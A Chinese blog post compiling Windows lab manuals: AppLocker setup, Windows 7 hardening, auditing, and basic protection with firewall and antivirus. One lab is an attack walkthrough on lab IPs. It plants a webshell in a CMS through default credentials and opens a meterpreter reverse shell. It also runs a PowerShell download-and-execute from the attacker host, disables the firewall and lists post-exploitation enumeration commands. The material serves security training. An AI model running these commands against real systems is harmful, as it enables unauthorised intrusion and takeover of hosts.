windows安全配置实验手册

2023-12-23 06:28:11

访问控制策略(L1940520022J)

预备知识

Windows 7中,不仅有面向软件的限制方法,还增加了一种名为AppLocker的访问控制策略(仅适用于企业版和旗舰版)。

实验环境


操作系统类型:windows 7。

实验步骤一

设置必要的服务并使其自动启动

在windows资源管理器中右键点击计算机

点击管理,点击右侧栏中的服务,选中application identity,在其上点击右键选择属性

在属性窗口中的常规选项卡中点击启动按钮,并把启动类型设置为“自动”。

最后点击确定。

实验步骤二

设置新的普通账户

在windows资源管理器中右键点击计算机

点击管理,在左侧栏中右键点击用户

点击新用户,录入账户、密码,并设置勾选项

实验步骤三

设置限制策略

在“开始”菜单中的运行文本框中,录入“gpedit.msc”,启动“本地组策略编辑器”。

选择“windows设置”-“安全设置”-“应用程序控制策略”-“AppLocker”-“可执行规则”。

在右侧空白窗口中点击右键,选择“创建新规则”。

点下一步,选择拒绝单选项,并点击选择按钮。

点击上图“高级”按钮。

点击“立即查找”按钮。

选择“users”组,点击两次“确定”。

在下图中选择“拒绝”,再在“用户或组”栏点击“选择”来选择具体的组或用户。

点击“下一步”,选择“路径”单选钮。

点击“下一步”。

点击“浏览文件”。

选中system32目录下的notepad.exe文件,点击“打开”按钮

点击“创建”按钮。

点击“是”按钮。

至此,访问控制(限制使用)的策略已经设置完毕。

注意:务必重启计算机或虚拟机,策略才会生效。

实验步骤四

验证限制策略的效果

重新启动系统并以新建的(被拒绝策略限制使用某软件的)用户及密码登录。

试着运行被前面设置的策略决绝=拒绝该用户使用的写字板(notepad)程序。

点击“记事本”程序图标。

Windows7操作系统安全

预备知识

Windows系列是目前世界上使用用户最多的桌面操作系统。由于历史原因,Windows的很多用户都直接以管理员权限运行系统,对计算机安全构成很大隐患。从Windows Vista[lc1]?开始,Windows加强了用户账户控制的管理,使用“用户账户控制”(User Account Control,UAC)模块来管理和限制用户权限。UAC体现了最小特权原则,即在执行任务时使用尽可能少的特权。用户以管理员身份登陆会得到两个令牌:

1)完全访问令牌(需要管理员特别设置权限)

2)标准受限访问令牌(应用程序默认以标准用户令牌运行)

安全审计是整体安全策略的一部分。通过对系统和用户进行充分和适当的审核,就能够在发生安全事故之后帮助发现产生事故的原因,并提供相应的证据。Windows审核子系统与安全决策组件、事件日志服务联合工作,以可靠的方式生成安全事件。安全决策组件通常被称作安全参考监控,当制定了安全决策后或有其他有关安全的活动发生时,监视器就会通知审核子系统,并将活动的细节传给系统。审核系统将这些细节格式化为事件日志。

实验环境

Windows7 操作系统

实验步骤一

账户与口令

(1)删除不再使用的账户,禁用Guest账户。进入“控制面板”→“用户账户和家庭安全”→“用户账户”→“管理其他账户”,如图 1所示。

图 1 未使用和来宾账户

找到未使用的用户,选择“删除账户”,如果确定永久不再使用,那么相应的账户文件也要选择删除;找到“来宾账户”,选择“关闭来宾账户”;更改管理员账户的名称,避免“admin”等简单账户名。

(2)启用账户策略。进入“控制面板”→“管理工具”→“本地安全策略”。

在“账户策略”→“密码策略”中,启用“密码必须符合复杂性要求”和设置“密码长度最小值”提升密码强度;设定“密码最短使用期限”防止短期内入侵者修改密码;设定“密码最长使用期限”提醒用户定期修改密码,防止密码使用时间过长带来的安全问题,如图 2所示。

图 2 密码策略

在“账户策略”→“账户锁定策略”中,设置用户连续登录失败多次,则锁定一段时间,如连续登录失败3次,则锁定30分钟。

在“本地策略”→“安全选项”中,启用“交互式登录:不显示最后的用户名”,防止攻击者从本地或Terminal Service的登录界面看到用户名;启用“网络访问:不允许枚举SAM账户和共享的匿名枚举”,防止攻击者通过空连接匿名枚举出本地所有用户名,如图3所示。

图 3 安全选项

(3)用户和用户组权限管理。任意选择一个文件或者文件夹,右键选择“属性”→“安全”,可以查看到组或用户的管理权限,包括修改、读取和执行、列出内容、读取、写入等,如图4所示。

图 4 查看用户管理权限

点击“高级”,进入高级安全设置,选择需要更改的用户或组,点击“编辑”,在弹出的权限项目中勾选权限允许或者拒绝,如图5所示。

图 5 用户和组高级安全设置

实验步骤二

审核与日志

(1)启用审核。进入“控制面板”→“管理工具”→“本地安全策略”。在“本地策略”→“审核策略”中,选择需要审核的策略,勾选审核的具体操作。例如更改“审核账户管理”,对成功和失败操作都进行审核,如图6所示。

图 6 审核策略

(2)查看日志事件。进入“控制面板”→“管理工具”→“事件查看器”,可以看到“Windows日志”、“应用程序和服务日志”等内容,打开“Windows日志”→“安全”即可查看所有安全事件,如图7所示。

图 7 日志查看

实验步骤三

安全模板

(1)启用安全模板。打开“运行”,输入“mmc”进入系统控制台,进入“文件”“添加/删除管理单元”,添加“安全模板”和“安全配置和分析”,如图8所示。

图 8 添加安全模板

(2)新建安全模板。在“安全模板”中选择“新加模板”,填入名称及描述,建立成功后可以看到该模板下的所有策略,按照不同的需求更改不同的策略项目并保存即可,如图9所示。

图 9 新建安全模板

添加完毕后回到控制台,在“安全配置与分析”项目中,按照提示打开或新建数据库,如图10所示。(此步骤需要系统中存在配置文件才能操作)

图 10 导入安全模板数据库

成功导入数据库后,选择“立即分析计算机”,并设置日志文件路径,系统开始按照上一步中选定的安全模板,以确定当前系统的安全设置是否符合要求,分析完毕后可在目录中选择查看各安全设置的分析结果。选择“立即配置计算机”,则按照所选择的安全模板的要求对当前系统进行配置。


?[lc1]Windows Vista" 是微软(Microsoft)发布的操作系统,它是Windows XP之后的一代操作系统。

Windows主机信息收集

实验环境

目标机器:win7、IP:10.1.1.126

攻击机器:kali、IP:10.1.1.144

所需工具请在实验机内下载使用: http://tools.hetianlab.com/tools/HongCMS-tools.zip

实验步骤一

任务描述:获取目标服务器shell

目标首页:

通过对目标网站的敏感目录探测,发现存在admin目录:

访问后发现为目标网站后台:

通过手工枚举的方式用户名和密码为root:root成功进入后台:

接下来就是寻找可以getshell的点:

在模板管理处发现存在任意文件上传且允许上传php,目录也回显给我们了。

同时在语言管理处发现也可以编辑语言文件getshell:

此处我们通过修改语言模板getshell,访问后可能会报权限不足的错误,但是shell是可以运行的:

通过蚁剑连接,获取目标shell

Linux启动蚁剑:

下载工具包后解压antSword-2.1.10和AntSword-Loader-v4.0.3-linux-x64,前一个为蚁剑加载包,后一个为蚁剑主程序。进入AntSword-Loader-v4.0.3-linux-x64启动蚁剑:

这时候需要去初始化蚁剑的工作目录,选择解压后的antSword-2.1.10,然后重启蚁剑。

之后配置要连接的shell:

实验步骤二

任务描述:通过获取的webshell,进行内网信息收集

1. 首先分析进出口的流量是否能连通

协议的判断:场景的TCP、DNS、HTTP、ICMP等协议;

端口判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有80,8080,443,53,110,123;

TCP协议:

vps: nc -lvvp[lc1]? 8888?

target: nc 10.1.1.144 8888 (需要通过webshell上传nc)

ICMP协议:

vps:tcpdump icmp?

target: ping 10.1.1.144

DNS协议:

vps: nc -u -lvp 53??

target :nslookup www.baidu.com 10.1.1.144

HTTP协议:nc -lvvp 80??

target: 10.1.1.144 80? (需要上传curl)

将shell反弹到msf上面,因为在webshell下不交互

use exploit/windows/misc/hta_server

msf exploit(windows/misc/hta_server) > set srvhost 10.1.1.144

msf exploit(windows/misc/hta_server) > set payload windows/x64/meterpreter/reverse_tcp

msf exploit(windows/misc/hta_server) > set lhost 10.1.1.144

msf exploit(windows/misc/hta_server) > set target 1

msf exploit(windows/misc/hta_server) > exploit -j

2. 用户信息收集

查看本机用户列表:net user

获取本地管理员信息:net localgroup administrators

#查看当前在线用户和会话

quser

query user

query user || qwinsta

查当前用户在目标系统中的具体权限:whoami /all

查看当前权限:whoami && whoami /priv

查当前机器中所有的组名,了解不同组的职能:net localgroup

3. 系统信息收集

查询网络配置信息,进行IP地址段信息收集:ipconfig /all

#查询操作系统及软件信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" ??#英文系统

systeminfo | findstr /B /C:"OS 名称 " /C:"OS 版本 " ???#中文系统

查看当前系统版本:wmic OS get Caption,CSDVersion,OSArchitecture,Version

查看系统体系结构:echo %PROCESSOR_ARCHITECTURE%

查询本机服务信息:wmic service list brief

查看安装的软件的版本、路径等:wmic product get name, version

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"

查询进程信息:tasklist

wmic process list brief

查看启动程序信息:wmic startup get command,caption

#查看计划任务

at (win10之前)

schtasks /query /fo LIST /v (win10)

查看主机开机时间:net statistics workstation

列出或断开本地计算机与所连接的客户端的对话:net session

查看远程连接信息:cmdkey /l

查看补丁列表:systeminfo | findstr KB

查看补丁的名称、描述、 ID、安装时间等:wmic qfe getCaption,Description,HotFixID,InstalledOn

查看杀软:WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct GetdisplayName /Format:List

查看本地密码策略:net accounts

#查看 hosts 文件

Linux:cat /etc/hosts

Windows:type c:\Windows\system32\drivers\etc\hosts

查看dns缓存:ipconfig /displaydns

4. 网络信息收集

查看本机所有的tcp,udp端口连接及其对应的 pid :netstat -ano

查看本机所有的tcp,udp端口连接,pid及其对应的发起程序:netstat -anob

#查看路由表和arp缓存:

route print

arp -a

?#查看本机共享列表和可访问的域共享列表(445端口)

net share

wmic share get name,path,status

磁盘映射:net use k: \\10.1.1.144\c$

5. 防火墙信息收集

#关闭防火墙

netsh firewall set opmode disable (Windows Server 2003以前的版本)

netsh advfirewall set allprofiles state off(WindowsServer 2003 以后的版本)

查看防火墙配置:netsh firewall show config (netsh命令也可以用作端口转发)

查看配置规则:netsh advfirewall firewall show rule name=all

6. 代理信息收集(前提目标配置了代理,否则会报错)

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v ProxyServer

#通过pac文件自动代理情况

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v AutoConfigURL

7. Powershell脚本

FTP 访问、共享连接、 putty 连接、驱动、应用程序、 hosts 文件、进程、无线网络记录

首先在kali开启http服务:Python3 -m http.server

powershell iex(new-object net.webclient).downloadstring('http://10.1.1.144:8000/Get-Information.ps1');Get-information

8. Metasploit

Scraper模块:

Meterpreter > run scraper

/root/.msf4/logs/scripts/scraper

winenum模块:

meterpreter > run winenum

/root/.msf4/logs/scripts/winenum


?[lc1]nc: 这是Netcat命令的缩写,用于在网络上传输数据。

-l: 这个选项表示在监听模式下运行Netcat,也就是让Netcat成为一个监听器,等待传入的连接。

-v: 这是"verbose"(详细)模式的选项,它会显示更多详细信息,通常用于调试目的。

-p 8888: 这个选项指定要监听的端口号。在这个例子中,它是8888,表示Netcat将在端口8888上等待传入的连接。

如何优雅的保护你的系统

实验环境

操作系统:Windows 7? IP地址:随机

所用软件:360安全卫士,沙盒软件(Sandboxie,360沙盒)

实验步骤一

创建安全的系统用户

1、创建非管理员权限的用户

????? Windows系统从Windows 7。?? 为了安全考虑开始默认账号并不是管理员账号。但是很多人装的系统并不是原版安装,所以很多人使用的系统账号是管理员账号,这对我们的系统来说是非常不安全的。所以我们要学习如何创建非管理员权限的账号

????? 特别说明:由于实验环境的特殊性,试验机所用的账号是Administrator管理员账号,禁止重启系统。

????? 创建账号最好在系统刚刚装好之后,其他的软件安装使用创建的非管理员账号登录系统后安装。

1)打开“计算机管理”

????? 在“计算机”图标上右键,选择“管理”

2)选择“本地用户和组”

????? 点击“本地用户和组”左边的 + 加号,再点“用户”,就能看到操作系统当前有哪些账号了

3)新建用户:

????? 在空白处右键,选择 “新用户” ,弹出新用户选项卡

????? 填入你想设置的用户名和密码:全名和描述可以随便填写

实验步骤二

对操作系统进行安全防护

1)开启Windows系统防火墙,提供基础保护,此处不演示防火墙高级设置

????? 点击桌面右下角的“网络图标”选择“打开网络和共享中心”

????? 在打开的界面中选择“Windows防火墙”

????? 接着我们可以看到防火墙状态界面:绿色的盾牌表示当前防火墙是开启的

?????

????? 如果是红色的盾牌,表示防火墙未开启:

?????

????? 此时我们可以点:“使用推荐设置”,这样系统就会开启防火墙

?????

?2)打开windows update,更新系统补丁

????? Windows会不定时发布系统漏洞补丁,打开Windows update可以保证能及时更新补丁,当然我们不推荐此法。请往下看

3)安装安全软件,实验环境已安装360安全卫士

????? 在桌面右下角的 360安全卫士的图标上右键选择“查杀修复”

????? 选择”漏洞修复“, “立即修复“即可。

4)利用360杀毒查杀木马病毒

????? 扫描未知文件:

????? 在C盘下有一个看上去不认识的文件夹,我们用360杀毒来扫描是否正常,在文件夹上右键—选择360杀毒扫描(其他杀毒软件同理)

????? 等一会儿就出来结果了,然后点“立即处理“

????? 当然你还可以在整个 C盘上右键选择”使用360杀毒扫描”

?????

文章来源:https://blog.csdn.net/qq_48257021/article/details/135144839
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。